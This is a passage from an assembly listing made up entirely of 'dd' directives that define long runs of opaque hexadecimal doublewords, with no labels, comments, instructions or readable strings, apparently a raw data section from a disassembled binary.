0DA8050FCh, 900043B0h, 0E3BE962Eh, 6C198Bh, 12499A30h dd 7D70C3DBh, 0A8ECB7B0h, 439C2E00h, 0CD059F3Ah, 0F25400AEh dd 690653C3h, 420E04A6h, 400F5F3Dh, 0B5DDB7D2h, 0F62E0C32h dd 0D660289Bh, 4C1C0D00h, 552ABD25h, 2EFEB895h, 1F6FC188h dd 0F14E409h, 9928A4Ch, 63803E30h, 0B7C985Bh, 16658B00h dd 794383A3h, 935D0071h, 0C4FC4DBh, 0B850C955h, 34780F8Ch dd 74215700h, 0CF8EBD06h, 45FB003Dh, 5892226Bh, 0BE0028C7h dd 9CCECA82h, 13990393h, 531C8Eh, 1D577074h, 0B00033ACh dd 0E88F7755h, 74025D1Ah, 0DE81005Bh, 988B29B7h, 8D00C095h dd 57509AA9h, 0A7F2C2h, 695167BCh, 52889E61h, 12320F38h dd 0A402AD72h, 10541EFAh, 0D800992Ch, 3E84C2B2h, 3DA15510h dd 4087AAF0h, 0F067FD30h, 5406A223h, 0E937B200h, 436801BFh dd 0F4144C4Dh, 0A9B55F04h, 0B358C0ECh, 9502AEF2h, 0B0DD3D7Eh dd 8F096040h, 7F073C61h, 9D78C901h, 2235B12Ah, 0D5EF17D4h dd 61394607h, 0BF7CA049h, 92C2ABBBh, 84480084h, 0A97AFB43h dd 8EE449E5h, 5E096900h, 0FEC20345h, 3F910632h, 0A146883Dh dd 77356100h, 0EB5EDB25h, 6E140058h, 2D50ECF3h, 6CE664DFh dd 0ED725CB2h, 0B7389605h, 0C580E10Fh, 0C6880Eh, 76AE2D28h dd 92D761ECh, 6997911Fh, 0ABE49300h, 150FAF8Ch, 84AC663Fh dd 0C2D97B00h, 0ABF65E02h, 28A07A00h, 0C48FC551h, 5D31242Dh dd 5E661E48h, 4F07804Dh, 14D509B3h, 76303800h, 199B0D7Eh dd 3921F479h, 292CD40Fh, 125D0110h, 0DCF8BE85h, 0FB545813h dd 2B06218Ch, 0F273494Bh, 62890010h, 0CCA9F8EFh, 86EE29D3h dd 6EBC23Bh, 6F98517Dh, 41D23D90h, 0ACA0BE07h, 0B42919A6h dd 3A59FC10h, 84831E01h, 445CA2BDh, 4BE055F6h, 0BC7266D3h dd 0F54B3B00h, 0BAC6FDFh, 2B0530EDh, 1167081Ah, 186A900h dd 18583A19h, 215000D7h, 0CC0BDF5Ah, 0E02E8ADh, 60D9B09Fh dd 5254C096h, 637F0F23h, 3A00FB1Ah, 252D2F6Ch, 1CAC2601h dd 0AE4049C3h, 0F82EF434h, 7A81124Bh, 0E6A0004Ch, 8A9A2AFEh dd 0D6B2B600h, 0C2EA1AFDh, 42B100C4h, 0D5D338E2h, 79001EF9h dd 0A3503D0Bh, 0E9F1493h, 6E2F941Fh, 0BC07F454h, 0EFE654h dd 3FC8226Ch, 30F42302h, 40477F2Dh, 0B0F883Eh, 2B5E17Eh dd 0ED670420h, 0C00083DCh, 395C2725h, 16120DA9h, 0B1EB6Bh dd 683BB9A8h, 3D1C70BAh, 0C026ABD9h, 61566C41h, 0FBCF11E8h dd 1282BFE4h, 2AF2350h, 64CE6AD0h, 4E9B0014h, 56E257EEh dd 1A243F79h, 250074BEh, 0DD4A65C8h, 951403D6h, 0A08C9C54h dd 53BACA8Bh, 6000BC50h, 0DE118BF5h, 922F49A1h, 317520h dd 0D2E080F9h, 732E5D74h, 0BE0092F0h, 9D27A043h, 922DD512h dd 0F4AD4894h, 0EF9048C0h, 5A00515Ch, 5B0D6DF1h, 0ECEAA51Eh dd 37111857h, 197078BFh, 267242FEh, 34988300h, 4F3A160Bh dd 0A18E3A1Ah, 0C3EB698Fh, 89C1C2A0h, 22005172h, 108AFFAAh dd 7175C37h, 76CBD67Fh, 0DEB4B05Bh, 3BE09BBDh, 0F9476500h dd 34686C0Ch, 975054Eh, 83E426ADh, 14D14362h, 0BFB3D01Ah dd 27208400h, 0C959BCD1h, 0B2D0C049h, 0B75E64E9h, 0F9111664h dd 0A126A304h, 0ED2080F4h, 9A98F1E8h, 3FD0C083h, 0BAF3D197h dd 0BD079D7Ch, 299C1977h, 0F94CFDC0h, 4F30244Bh, 449D0F66h dd 0D4AAC702h, 1517EC58h, 9440E7F1h, 6419A8A6h, 68BB6042h dd 0F1B6B17Dh, 0AA10AD50h, 71CD650h, 499D8200h, 0A8378F19h dd 28531E1Fh, 864FC13Ch, 0FCDD7CC1h, 0DF14A0D0h, 0BF6D11h dd 0FB73F255h, 4B1BC4BCh, 4C45186h, 594A52B8h, 0BAB0BC44h dd 5FCEEF44h, 4D11F091h, 0BB3211ABh, 28D68D11h, 70221401h dd 0CCE449Ch, 0EBCD8400h, 92342781h, 0F4F5016Ah, 0D0991098h dd 203BC4ECh, 0D4CFB600h, 5EFE15DAh, 0C54C000Bh, 237BD3B8h dd 0F300C414h, 0EEA48C88h, 40E27Fh, 0BDDF87B6h, 0B858E7D8h dd 0B7A85001h, 8D9F93B4h dd 16894FF0h, 60F466h, 0B51FD00Eh, 3607C972h, 0A1BFB9F5h dd 80DC0BC3h, 0A88B9DE8h, 39765488h, 92009A06h, 4641779Fh dd 0CB4AC6FCh, 0AC594C00h, 1CB3F0A7h, 80ED6E85h, 0A268BE40h dd 33302514h, 0D4EE984Fh, 30AB00C5h, 13432936h, 4C549DDEh dd 0C400B0BCh, 0FA0D2D97h, 0E610122Fh, 50B8B3h, 0EC07334Eh dd 75F1BEC0h, 3F8DC61Ch, 927D1045h, 0F4180890h, 8A0B0B65h dd 9489ADC7h, 0C99AC82h, 85D08493h, 8A076261h, 0FF30DDD7h dd 274BF480h, 5487B29h, 9F2DA725h, 0B1A4C054h, 3A008E74h dd 0EF292442h, 1E302A73h, 5E1BF4D4h, 0C8187C4Eh, 451121CCh dd 60027F6h, 19189F90h, 9CBDB8h, 9648492Eh, 603D7198h dd 93643600h, 67853FA7h, 86C40127h, 0FAA8C184h, 7BF00D6h dd 2E500A7h, 14EF67BEh, 3D00510Ch, 0A5A69A79h, 5C0E53h dd 10BDB33Ah, 6D81AD97h, 0B48B30C0h, 4514CC9h, 0DE65CBA5h dd 76E0D03Fh, 0D2156343h, 77D89721h, 0E754AC00h, 0E65947F6h dd 18E114B9h, 36009CABh, 4A6DC403h, 0F000B52Dh, 0D8B03545h dd 3A51422Ch, 0F45C8565h, 0D96D4800h, 5404189Bh, 0E4F8E300h dd 3A49CFCh, 0BABC1697h, 4750816Ch, 0A0E3E00Dh, 8087C53Eh dd 72EDC918h, 30910A4Bh, 4848A7CEh, 9D00D09Ah, 0E7E08BF9h dd 48AAE212h, 0B90E37CCh, 5E7EEE71h, 8230C51Fh, 0CA2080A8h dd 0ED01C4AEh, 5F377FD7h, 0E5FB193Ch, 0FE2B7080h, 571E0127h dd 7EF01B20h, 7886815h, 603B1611h, 0C807C0B2h, 0F4EE010h dd 61AA493Ah, 0F8A0C132h, 0DB9851C8h, 2E29BF16h, 6A02DCFFh dd 6019CAF4h, 1D525CD8h, 1E72B3h, 71FD4CB2h, 5754D3ADh dd 18C001E8h, 305B4ACDh, 0A1B0024h, 0E1FB6FFEh, 0C7012FC8h dd 0AD61DFB1h, 0C9F84CAFh, 72102469h, 17AA008Ch, 99511821h dd 584B9103h, 0F009F038h, 7F247Ch, 479DA28Ah, 5C986DD7h dd 0F19C6600h, 51644F7Dh, 2FF000A1h, 0B6787ACCh, 0C1486319h dd 1FF44037h, 69550F01h, 0E15DF78Dh, 396BBC60h, 8C021B43h dd 0AB2E65DEh, 44000058h, 0AEBF717Eh, 0E495111Fh, 402A009Ah dd 9B16FE6h, 803DF257h, 31210291h, 0E0AF08C3h, 0CA4C98h dd 938910DAh, 91D7413Ah, 328739h, 0DFF4369Bh, 0FB911B5h dd 6160B6C1h, 707FDD67h, 9295BB40h, 23E6F400h, 4745BDFFh dd 0C6760529h, 0C080A5A7h, 0E6E29CA8h, 83433500h, 0ADE0E50h dd 4EE90295h, 9F8D6E76h, 54D0B963h, 0B803AA57h, 8EA072D8h dd 410012Fh, 0FBDE6CBBh, 69647090h, 541DB61Fh, 3A00F468h dd 33010216h, 38193E71h, 0B50076C9h, 28DA3807h, 0C425ABA1h dd 0A07C20A7h, 765D6F39h, 16D5009Ch, 47AD6B65h, 0DF3B3173h dd 682E8070h, 0F8BE7172h, 191C0060h, 2F3A9895h, 70747567h dd 85DBF00h, 3C71EAD9h, 0AEE50016h, 0BC03F879h, 0DA5C1ED3h dd 0BA9500F7h, 22C80714h, 5A97004Bh, 15A5F51Dh, 46502C9Dh dd 7C5C62E1h, 14490307h, 908CE3D2h, 1B2F217h, 419D832Ch dd 0E4AB34F7h, 0FF002DADh, 9F6DD1E0h, 4CCD4A36h, 190697FCh dd 118D683Eh, 4E272B00h, 0CBEF8120h, 0E1610018h, 0F96CDF69h dd 0CC00E69Dh, 0DB4A3DA0h, 0C1EB9CF0h, 554C3F18h, 9540807Ch dd 0D9CB625Dh, 8F10C07Bh, 0B22CBA33h, 253C96B8h, 6C00F4E6h dd 0ECB1ED2h, 33474Dh, 0F5807FC0h, 45329EFDh, 0F455F01Fh dd 0F6D03EC0h, 24047A2h, 25C6901Eh, 0B880AE17h, 10A630EDh dd 7AE60900h, 0EEC0DEABh, 953F074Ch, 101291D5h, 0F3FA69DCh dd 439F500Bh, 737806Fh, 123D6D4h, 0F5714C34h, 600CE01Ch dd 0EB009D47h, 0F658CAAFh, 14EA5344h, 0C2F57D91h, 5BC22303h dd 0EE884FFBh, 4800F295h, 0B86308F8h, 7A6C09h, 0A536A911h dd 5DFEFC8Ah, 0F771E217h, 0B09E940Ch, 4B7962h, 15D887DFh dd 1D7254D6h, 0A8C71300h, 0E517EF33h, 0DE110051h, 1E0A0E0Bh dd 941CE901h, 8241553Eh, 8A37E371h, 35F020D5h, 5D331B30h dd 62C8F078h, 6001CD61h, 92EA80FAh, 0D09EE176h, 0F7D26Ch dd 0AE5F481Fh, 800A393h, 0F4D9A9EDh, 2D5580h, 0E8FB25Bh dd 3FACBAA8h, 753F367Bh, 4A8D0074h, 0B29EE7E9h, 3D400041h dd 50E1BE57h, 0B704F6CFh, 0A08C6927h, 949B0490h, 75563838h dd 0C9DF1007h, 0AC43A025h, 0A100B9C3h, 0B63EE01h, 728070E5h dd 1D0F004Eh, 3C34E0AEh, 0D700B812h, 0FC1475C5h, 164FCBF1h dd 1578CE62h, 6A0C4013h, 76D9F5C6h, 1DD38A48h, 421D9A70h dd 0B26AFC05h, 0F4781005h, 0A0681C00h, 0C36241D5h, 7E207508h dd 707C1878h, 91102300h, 0CA6AAC72h, 297F0374h, 0EC26C833h dd 0DD024100h, 0EDB2D470h, 2C9A020Fh, 6449F099h, 0F8282003h dd 1F5D16CAh, 1495C1E5h, 1E000C78h, 7A3407AAh, 0DB00E7DAh dd 0EFB1B9E5h, 429A35h, 50E2F9F7h, 0A89D0CDEh, 61D238h dd 0A0F6D9CFh, 1831E726h, 886DB9F7h, 8202C77Dh, 0A508B05Ah dd 2854E097h, 179800CCh, 0A08EA450h, 900B3ECh, 0EB820D90h dd 0DAC8C1h, 0BC0F7FBDh, 9E3D5007h, 0AFB0AA00h, 0EB3BBDEh dd 0F8F51890h, 77B304Dh, 893F5200h, 8AF2F149h, 5A9300FEh dd 0EED243CEh, 4ECF93Ch, 0D800CDECh, 0A9D4BEF0h, 0E7F138Eh dd 988B3890h, 64A03FAEh, 0D4D0C987h, 20001AE4h, 3E01D8DFh dd 0EF83C14h, 0FED3FD22h, 1F7C0240h, 820052BCh, 80967B32h dd 7B68385Ah, 2E000B7h, 419EBF3h, 5000F1C5h, 1B16DA14h dd 1CA74CFAh, 84F09B89h, 929E4F85h, 4B69D44h, 0B4149952h dd 10EC042Fh, 10F1C330h, 7CED8375h, 8F42121Ch, 4478001Eh dd 734F1F9Ch, 3E87103Ch, 0A5760CD8h, 846B29EFh, 42210E22h dd 0F08E119Bh, 111FD711h, 0EF111B70h, 647D4C51h, 0F23D329h dd 42C348CCh, 0BF24E670h, 12182621h, 0E8CA13D7h, 22201B22h dd 2B221559h, 0FF9E2252h, 72210724h, 103F120Ch, 1D410396h dd 5CD10D2h, 6F081389h, 0EF51F465h, 6FA5004h, 64426748h dd 44B25F6h, 48098414h, 0F903427Bh, 9B403724h, 0D07ADD46h dd 156DCF00h, 4B8C71E9h, 0E03D079Fh, 90EBBB5Fh, 7BAC6E19h dd 5CDF8400h, 95F6E78Eh, 31B3012Ch, 0C99A7FEEh, 607BE866h dd 7CA1082Ch, 0DC6DE00h, 17988E13h, 7AE840h, 0E599160Ch dd 0F20164BEh, 5AD7F871h, 846437ADh, 0BA0501EDh, 79CC8297h dd 4F96F0EEh, 44E8FE1Dh, 0DDB419C3h, 0D7101D4Dh, 0ED9280A3h dd 7BAB7464h, 40D949h, 0A679F169h, 3EBB83E3h, 0A11619F8h dd 388106E1h, 4A0010F7h, 0C905574Ch, 245D9013h, 9F60A9E6h dd 80D02C02h, 3020D4BCh, 0C500AA3Eh, 0E706A3BBh, 5CACC2ABh dd 0E9006468h, 40C9F2F3h, 0DA7BDEDCh, 0BBEEFD1Ch, 0D0712C5Fh dd 1CF1F28Dh, 0F0C89C70h, 613A0098h, 1A59DFBBh, 0F5731851h dd 58E2D0C5h, 0A594A090h, 0B1573AC4h, 6C9F6F80h, 0B504275Ah dd 734A9503h, 0C0BE8F92h, 0F7AD7928h, 1CA860FCh, 44577075h dd 0C0A7C78Dh, 4E9D18C3h, 2DE31000h, 0B78CCD69h, 0EEB90045h dd 438B9085h, 9D01C8ADh, 3FFB1375h, 8C713602h, 2005D6C4h dd 2B7BFD97h, 0E08ACD00h, 0F9A61DFFh, 5BBB00A1h, 6FD02D2Fh dd 6103DBCBh, 6BBC7EA9h, 0BE2CC874h, 0A6060357h, 0FE41A2DCh dd 36D98AD0h, 0F08BE604h, 0AE0599D8h, 94B400F6h, 3B3D51A9h dd 85D73E00h, 0B2546B7Fh, 62970009h, 116A3CE2h, 0C0F2AF3h dd 0C0149626h, 85E5A8DDh, 0B3F0A8A5h, 475D09B4h, 8500CC74h dd 93E3B102h, 9AF88854h, 0A2A79C3Fh, 0A5F12818h, 59BDFA87h dd 9B0E2080h, 56C0C03Ch dd 8869ED4Dh, 0BF11F900h, 0DCF75E32h, 1609076h, 60DB4096h dd 2172E8CEh, 1FCFF446h, 70012D00h, 461154FAh, 0EC50EB0Fh dd 331A98h, 10DA99A0h, 3D45A3BDh, 0FB734C00h, 0D247ED36h dd 6C4B009Eh, 863ACBDAh, 8F008E75h, 45953D06h, 7631F8FDh dd 4BFA00C7h, 0E4D4CF94h, 8003FBB3h, 97DE7AD2h, 0D5C00088h dd 30627FEFh, 7B00B657h, 0B15540ABh, 88ED01h, 0BA53355Dh dd 0A2B01677h, 3E47A41Eh, 5C9C8DC0h, 0D16275h, 49AAA6EFh dd 0C65F2508h, 0D0E7E900h, 718FBFF6h, 17780056h, 2FDFC8DAh dd 3D540F12h, 3A006098h, 36E586A9h, 7AEE5109h, 25400079h dd 13A76EDAh, 62704D26h, 8C782A00h, 3C32B42Ch, 8B1A1453h dd 0FF07946Fh, 0F0D6E2E3h, 15F23724h, 3560C300h, 574B39A0h dd 1E71EC4Ah, 40F68FF9h, 0D0623641h, 79017CD2h, 0C5E38D7Ah dd 25E07BE0h, 60491D0Fh, 0D9CA405Dh, 301EBFABh, 2F90FF50h dd 9EA27C1Dh, 46B47A40h, 9AD015h, 0BC52B3B0h, 0E354B0Dh dd 97131900h, 0C3CC4358h, 21E20328h, 0CD8996D5h, 5F201004h dd 94C0AB2Ch, 3B63AA92h, 0FA800AE7h, 5DC00CFDh, 72C0223h dd 0EE0084F6h, 0BBA5506h, 0D8E00D0h, 8BA439A5h, 601205FBh dd 24C00EDFh, 774512Ah, 0AEC13B20h, 45F970CBh, 80FAED56h dd 0C3051E09h, 7230A0F6h, 295A9D15h, 0C445E7h, 44515514h dd 690F7B1Eh, 0EA9CD496h, 8A00B065h, 0C20B10F5h, 0C4B30006h dd 264DAFB2h, 330127F8h, 3F8EB0B8h, 0FEFC402Ch, 0D5D90314h dd 1C93CD91h, 8BF864A3h, 881FD76Ch, 65009542h, 0F263762Dh dd 79DD0081h, 2AC28CDFh, 100077DBh, 0E573CF21h, 15D0F49h dd 68E8FAB3h, 619623B2h, 7683C4AFh, 0EB0092E8h, 1FACC4F9h dd 0CA9C93h, 6AA4BF20h, 0B1B5CCA3h, 0A8408004h, 0D0C07557h dd 3FFEC79h, 36C314F5h, 8CD0480Fh, 0F17065ACh, 0B71A0100h dd 10B3133Ah, 0A34C0063h, 4134947Eh, 9900EE15h, 42665075h dd 2DC68ADh, 0F75222FAh, 29C0E8F9h, 48008874h, 0B19F3FEBh dd 39425440h, 0D104A693h, 0C3201E4Eh, 9B8D4E4h, 9402A3FFh dd 0E154ADBAh, 0F43C608Ch, 0C74C5879h, 53213700h, 5E1D3489h dd 2F508600h, 0C5964982h, 0EEAA60BFh, 0F8FC2C11h, 36088300h dd 9DF4B16Bh, 4FE01F2Ah, 0A3B20060h, 0D3AA8749h, 0F43A800h dd 0E2ECAD44h, 52880016h, 0BDAF6048h, 9700A551h, 32F8E350h dd 1EA6DE8Ah, 406DC97Ch, 0B066BFCCh, 5A079FBEh, 0AB1FAD02h dd 0B820F883h, 98CE7015h, 5C010E5Bh, 45A02214h, 90C7EA53h dd 0F43AF102h, 61D97DEBh, 1606FB8h, 8C4F0F48h, 0ACCE9DB5h dd 86D739C2h, 2F954060h, 0F1224000h, 6B3B7696h, 71140081h dd 1D492CC1h, 7A0092F6h, 626FD637h, 1FFE07E4h, 805CCD1Ch dd 0AF91A236h, 93FEA66h, 0FA1FB2C8h, 7F4060E8h, 56312C4Fh dd 0AD0E00CCh, 0D52933DBh, 0BE446300h, 0B0F33766h, 90540AAEh dd 80D4BA0Fh, 0ABC89297h, 7F501F6Ah, 54007AD0h, 0E7581D73h dd 0F4C195h, 2B268D92h, 47B5A912h, 549D4B00h, 2072311Bh dd 92150055h, 10D36887h, 0B13F9544h, 487A0071h, 8EE2D040h dd 38E1C0A8h, 836B8426h, 311D4F74h, 0C480D220h, 1F6F927Ah dd 72870034h, 815D710Ch, 0DCF31B33h, 9400C6EAh, 0F96E733Ch dd 3A1C338h, 0FE351F53h, 80C436E0h, 0D5AF66FCh, 4EB6C400h dd 357B2F93h, 43F3241Dh, 9C6A0028h, 0F74AFDDEh, 95B7EF00h dd 0C354F84Fh, 0E9CCA085h, 0EE9300FBh, 87CAA344h, 0BDF40C9Fh dd 9CF8D504h, 10F04959h, 0B6A4002Ah, 51321C18h, 89E67081h dd 0E3E54600h, 3C3DAEBAh, 9A5B1E39h, 11CC689Dh, 1652BBBh dd 11E97013h, 0E8D4D2C5h, 4B410h, 28CCDCBEh, 38000A98h dd 5CA91DABh, 7E53FEFh, 3E2F8EFEh, 2E9B726h, 0D48035C1h dd 58700B7Dh, 941958h, 0F33B6C2Eh, 0F0F0E5CFh, 17B100BCh dd 7B1C7210h, 3CF0EEB6h, 11EC0205h, 73BC0B63h, 5290D500h dd 950F064h, 0C8E9902h, 60AD0A2Fh, 1FF42AACh, 14DBCEh dd 29C2E696h, 0B7B03431h, 0DF032713h, 0DE603100h, 0E40B261h dd 2541D244h, 4880F209h, 0E6F412C7h, 266BA01h, 70FAAFEh dd 3FD32470h, 0E88074CEh, 0A14D8677h, 641E2419h, 1740E5B7h dd 318A73F3h, 94250E06h, 427DF7ECh, 44ED2EB0h, 9800A450h dd 0DBF01E2h, 5C607814h, 16009897h, 8E13261Fh, 0EA0188AFh dd 15367B22h, 20809F96h, 0A06286ABh, 1959DF3Ch, 0F5D50000h dd 0A5B75830h, 88AD0059h, 0D83F383Eh, 6C017E86h, 2AD053DEh dd 28606E4Eh, 15C9833h, 0CA27236Bh, 0EC0672E0h, 0C60030F2h dd 78668726h, 0EEE01A6h, 2022FF38h, 7CF5F600h, 9558184Fh dd 36270005h, 9AAFE0EFh, 3D78037Fh, 2F746530h, 0A216AB8h dd 6B0075F8h, 5B7C5E17h, 70FF6FEh, 33A331C2h, 1D3AF097h dd 7028094h, 0EAE7C1FCh, 0AA4C0F9h, 1679006Bh, 89B233A8h dd 483C1E01h, 746A80E7h, 0AE2FAB1Bh, 8C46016Dh, 0FC56C518h dd 5DC6852h, 0C708FA69h, 179AEC20h, 65C830D8h, 0A9935EF8h dd 417E211Ch, 795906C3h, 0A171E0EEh, 0EAB4716Eh, 0E4AA00A4h dd 77C967F4h, 600B11C4h, 985521h, 8F1E4020h, 7FD30E5Eh dd 401DE597h, 48A9AA08h, 0D103EA5Fh, 734D417Bh, 0D39A9B69h dd 0D046AB0Bh, 38CFFE0h, 78EDF6CFh, 11961968h, 0BB25E4EBh dd 5D849702h, 70C435B9h, 0DF1200B4h, 7F651883h, 59004571h dd 0B581DD52h, 3E86733Bh, 3900431Eh, 5CA3DF1Bh, 0C0F658Ah dd 0C0D3D814h, 7DA4BD32h, 10D760ABh, 1C7091A5h, 61CFDB03h dd 91780E1h, 0A3CC5769h, 0B4C0A8A0h, 0A700D21Ch, 36499786h dd 90990C7Ch, 0CABA12D2h, 80F8014Dh, 0DCCE8B62h, 4B7ED40Ah dd 2BEE3Bh, 506A5DD8h, 486CD38Fh, 3C001F3Ah, 0D0708BC1h dd 3405025Ch, 4CE8F1A8h, 387658C0h, 2E3A01ACh, 307EEED9h dd 0C89DCCEFh, 0C8E983Eh, 7C31CC21h, 8F90079h, 0B5E10D63h dd 9703F720h, 6D696577h, 0D8E3CB8Eh, 2B21D3Eh, 2A0AC68Fh dd 0C8509F7Bh, 3A69D900h, 0E4E6E0C8h, 782D00C1h, 3A7684Ah dd 9400E89Eh, 49DFDDFBh, 198E93DBh, 0E83B2E86h, 0B011C0A3h dd 0E4AD0700h, 6F1D5191h, 0F6D00A6h, 74C1D383h, 150046AEh dd 0E034100Bh, 0A264FEh, 6FBCA6F8h, 19DC41A3h, 6D43E200h dd 2A17849h, 0F2FA03A8h, 596B1266h, 99E34C90h, 90865800h dd 0C65F1B93h, 0B579392Fh, 34AAA100h, 2BB77BAFh, 309E672h dd 77C84DAh, 1BA18DB3h, 82C872C3h, 4A8807D3h, 90F13578h dd 603B6391h, 58DEBC0Bh, 1B1D0215h, 9EF860CCh, 0F86C012Dh dd 0C53F23ECh, 91A4201Ah, 1623500h, 9237DBB4h, 6DC70603h dd 0FEAC31ADh, 0AF998B00h, 0F34FD130h, 111CA83Eh, 3F620216h dd 79BE9D03h, 0FCB51C40h, 329B0100h, 1C5BCE69h, 4E7A0Dh dd 9FD4BA65h, 0C7220E70h, 9884F22Ch, 8AECFE80h, 406B99h dd 0E4EFFB0Ch, 0A7BA1E41h, 0F193C500h, 0A4D1AB63h, 203B00FDh dd 82A96FCAh, 41139DC3h, 86004A44h, 76892BC6h, 511200C8h dd 0DB621FCEh, 970028ABh, 0C3CF2A59h, 1C816CB9h, 971A4A6h dd 3485A2E7h, 0D790C202h, 8C237540h, 543E6307h, 0C070DF79h dd 7E8965Dh, 785122D9h, 8D660091h, 90A8AF87h, 0A3165FC1h dd 65003042h, 2684EC3Ah, 759018h, 0C351F7F3h, 95621504h dd 3E3B1B0Fh, 0EC928EF9h, 4CB35075h, 30F7436h, 9AB65B2h dd 8EA5ED83h, 49A42100h, 55638A2Ch, 7A200BAh, 4E5044F0h dd 5BF23848h, 0A5C35C1Bh dd 4B57B819h, 0FC09393Ch, 69911902h, 0ABE0A4ECh, 60192F0h dd 175D256Eh, 6CD0044Ah, 0D1F50021h, 0EEEFE5ACh, 30ED426h dd 0AB9C8157h, 7EC30082h, 3FA297DDh, 5B003037h, 0FD66393Ah dd 60009FAFh, 562968E7h, 7B3538Ah, 2045B6ECh, 8028C0D6h dd 0BF00B03Eh, 37C256DEh, 1ECBC514h, 0C0A24B9Dh, 9B447F92h dd 8098CE1Eh, 0EB8083FCh, 775600D8h, 0E6890616h, 5D17B4C3h dd 201E73DCh, 7FF19442h, 164CD8B6h, 1538FACh, 8798C604h dd 0D11834F7h, 4069900h, 19F547E4h, 0F4ED389Dh, 0B3AF5200h dd 6133EA42h, 48444Ch, 0DBC6BBF7h, 48697A96h, 0E029BCCh dd 171BD0ECh, 2A494461h, 8ADF0405h, 16B7C87h, 0FE910ABCh dd 60DBF1E4h, 0B60D2816h, 3B00C7D9h, 6FEF041Fh, 38668Eh dd 0C306067h, 0F83EE28Bh, 0F3AA3500h, 54B77C42h, 0B8160058h dd 0BBA267D7h, 780E0D3Fh, 60BF2245h, 0F39F91BDh, 143A0379h dd 0CF511549h, 0D87796E8h, 70B57103h, 0A3CB3026h, 9062C8DEh dd 0CE5F009Bh, 5C148CC5h, 0ACA07FA7h, 2F00BCA9h, 0A6934506h dd 71ED775Eh, 0C11500FCh, 874A1130h, 0E200A2AAh, 543B9240h dd 1FE504AEh, 0C05D4570h, 319680A5h, 0D05185Eh, 0EC82D30Bh dd 47989080h, 594B1385h, 0E7A00075h, 223D801Fh, 1E41E4Dh dd 8EB0F13h, 43FCA796h, 0B5FB0060h, 2E1DFFE1h, 8107189Ch dd 0A53F7571h, 0C0E4E32Bh, 1EDD754h, 72EABACh, 60A48540h dd 0D827596Eh, 0BE081F8h, 0AE8208CBh, 3C8C76BBh, 0E20586E0h dd 5E488D18h, 76F2B4B9h, 0BB1DC3Ah, 4C186CD0h, 0EE816A50h dd 78E606F1h, 913F0094h, 0E662F3A0h, 59001705h, 28309C23h dd 0C02FB504h, 828F92D8h, 0D6007B6Fh, 0ABBE8A47h, 9935558h dd 344191FFh, 6042D4A6h, 69868800h, 0E305160Ch, 5CD7008Ah dd 0C4A34AFAh, 9D012198h, 6FFF2318h, 21704CC0h, 4A4D24F6h dd 0B5C9007Dh, 0D981FEA4h, 778ACF00h, 1002F133h, 0D272B9h dd 183DC9D1h, 0D7CCCA9Dh, 7FED4C00h, 0B613FB72h, 5A140335h dd 68B2A90Dh, 0CA4E1C0h, 98C8AC30h, 305797D2h, 0DE403C48h dd 0FF00B320h, 8AB29AB8h, 12254566h, 6B31D5h, 7D155388h dd 0CA001CA8h, 45E0761Eh, 786248h, 0F4ACA673h, 50F3EB14h dd 0D8B0BA00h, 1C35463Ch, 8C0A1842h, 4F4B39B5h, 780050F2h dd 0E78A0517h, 62C3C8h, 0F6C79AE1h, 99625C0h, 692ED807h dd 0FA71226Ch, 0BC402AE2h, 74888D90h, 50891E6Dh, 0B92100FBh dd 9A806633h, 29B6C900h, 0FFABCA75h, 3854008Dh, 3B9CE75Dh dd 4600321Ah, 6B35F9F1h, 0F8CACFh, 73073F4Fh, 8017D050h dd 1407D48h, 0AD979431h, 2F30EB6Ch, 64C500FFh, 98993D65h dd 0F2F2D1B8h, 0C88ACA00h, 367B93FAh, 187D004Ch, 4E21C56Dh dd 0CFB81F08h, 0B3744002h, 40EF0AFAh, 178FC040h, 82F24C2Ch dd 18E0949Ch, 0C3048B7Bh, 9336D99Bh, 8D1E30B8h, 3CF5409Fh dd 1AFFB1DFh, 87679D00h, 597CB768h, 0CDA20041h, 965B4FC3h dd 0F72E644Ch, 7D00C89Ch, 1DC9E283h, 25EF1CA4h, 897100ADh dd 0E00D8F32h, 0DBCA3B00h, 0D27A9895h, 77A704EDh, 0C09F3A1Fh dd 7E21B5ACh, 52256500h, 0A514AC7Ah, 68080231h, 0DD588F9Dh dd 0F55CF3C0h, 0D26D3E00h, 0BCD9D51Eh, 11EB60BDh, 0F53542A0h dd 0C77A9200h, 0BFAF21E5h, 0E75A0F0Ah, 4A0074C4h, 7F5052DBh dd 22AE101h, 0A9438128h, 0EAC4E831h, 832C01C2h, 787DBCA7h dd 92E868B2h, 6775AD06h, 186A00BCh, 0B85D2F8Fh, 0E37E5AA8h dd 249959h, 97105E09h, 39DF2134h, 9307818Eh, 90E1D36Ah dd 522C08C9h, 0EBF49712h, 81998482h, 2602A39Fh, 66C4C983h dd 0C001D1BBh, 6AAD9013h, 9040B405h, 331CD45h, 5524E88Bh dd 792594C3h, 798E76Dh, 73FB85A8h, 7170E40Ch, 368EC712h dd 12900441h, 5FF00431h, 3D40EE7Bh, 588011E2h, 1A2568CBh dd 850EC2C8h, 0A03CAC70h, 0A637789Ch, 20DD31F0h, 647943B8h dd 8AF8178Ch, 0F7B43251h, 0DE7F7AF8h, 13017038h, 10A180DFh dd 156C7986h, 3500F11Fh, 515D81BAh, 1D5B4A2Ch, 1424DAE2h dd 4D02CCF9h, 819AC8F0h, 825A5041h, 8DCE0841h, 24F4F87Eh dd 17D563Ch, 0DC8E0BB9h, 234E4A1h, 0AD490E01h, 69ECBF2Dh dd 63D65BE8h, 0BD18AA88h, 5A9FC5C0h, 0B6275400h, 0A56BBBAEh dd 0BE581550h, 7224AC3Fh, 0E085076Ch, 95755090h, 0CD028ECAh dd 0BA19E18h, 0CFB8A019h, 6BDBFA73h, 6400A166h, 56398F54h dd 8058793Dh, 4FF9BD8Eh, 6B99CDh, 0EB02AB83h, 0CC30F1F4h dd 120B6E1Eh, 0F98EB400h, 48BF8194h, 1C00CE36h, 5A73AB61h dd 9771FD58h, 5DCAF100h, 0FBE40BA0h, 8F600020h, 149021FEh dd 300DE26h, 0E3E57D54h, 30DB50h, 7137DC05h, 4CF6F818h dd 0F3EACA00h, 527FCF90h, 287C68h, 620C2A39h, 0D8C827EDh dd 306EACA8h, 2B424Ch, 0E2C03809h, 0F0ECFBh, 173FD665h dd 10F6D06Ah, 7A099CB8h, 7B0DF1Fh, 9E809789h, 14967E3h dd 0EFF4DE8Eh, 0D092FACFh, 560078DBh, 8996D451h, 5E9D1544h dd 0F280021Fh, 58609222h, 5A049AE9h, 0F5E0E46Bh, 95B84E0h dd 0FECCEA95h, 8A0C88Eh, 0F29206DBh, 0F547213Bh, 962BE800h dd 4C3E948Eh, 